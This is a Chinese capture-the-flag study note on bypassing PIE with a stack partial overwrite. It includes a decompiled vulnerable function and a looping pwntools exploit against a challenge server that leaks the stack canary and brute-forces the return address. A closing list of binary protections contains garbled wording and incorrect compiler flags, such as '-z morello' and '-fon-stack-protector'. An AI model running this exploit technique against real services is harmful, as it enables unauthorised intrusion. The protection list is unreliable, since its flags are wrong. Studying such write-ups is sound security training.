0%

栈暂时就到这了

栈上的Partial-Overwrite

原理:对于开了PIE保护的程序,每次的指令地址都是随机的,但是地址的最后十二位总是固定的,也就是ida对于的地址,我们只要修改最后十二位地址,就可以控制程序流程了,但是修改数据只能整字节修改,无法直接修改12位,所以一般都是直接修改两个字节,对于第十二位到第十六位就一个一个试,比如一个函数的地址是0x30a,我们想要程序跳到这里,可以这样构造/x0a/xy3,y属于0到f,一个一个试,总会对的。或者固定一个值,让程序连接多次,16分之一的概率。

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 sub_960()
{
__int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF

buf[5] = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
buf[0] = 0LL;
buf[1] = 0LL;
buf[2] = 0LL;
buf[3] = 0LL;
puts("Input your Name:");
read(0, buf, 0x30uLL);
printf("Hello %s:\n", (const char *)buf);
read(0, buf, 0x60uLL);
return 0LL;
}

可以看见这个程序还有canary保护,read函数碰到\0会停止读取,我们只要一直覆盖到canary处就可以了,不过要加1,因为canary最后一个字节是\x00,也得把他覆盖掉才行。

最后payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
while 1:
try:
sh = remote('node4.buuoj.cn',29355)
#sh=process('./babypie')
sh.recvuntil('Input your Name:')
sh.send('a'*(0x28+1))
sh.recvuntil('a'*(0x28+1))
canary='\0'+sh.recvn(7)
sleep(0.3)
sh.send('a'*0x28+canary+'bbbbbbbb'+'\x3e\x0a')
sh.interactive()
except Exception as e:
sh.close()

循环的原因就是y不确定,所以假设为0,如果程序真为0就会控制成功,如果不成功就会再连接一次

顺便来补一个程序保护

Pwn保护说明

1.Arch:

说明程序的架构,位数,和是大端序还是小端序

2.RELR:

设置符号重定位表为只读或者在程序启动时就解析所有动态符号,从二建扫对got表的攻击

编译选项:关闭: -z morello 开启部分:-z lazy 开启全部:-z now

stack:

栈保护溢出

编译选项:关闭:-fon-stack-protector 开启:-fstack_protector-all

NX:

堆栈不可执行

编译选项:关闭-z execstack 开启:-z noexecstack

PIE:

内存地址随机化(linux下pie启动必须同时开始aslr)

编译选项:关闭 -no-pie 开启 -pie ifPIC

RWX:

bss段可执行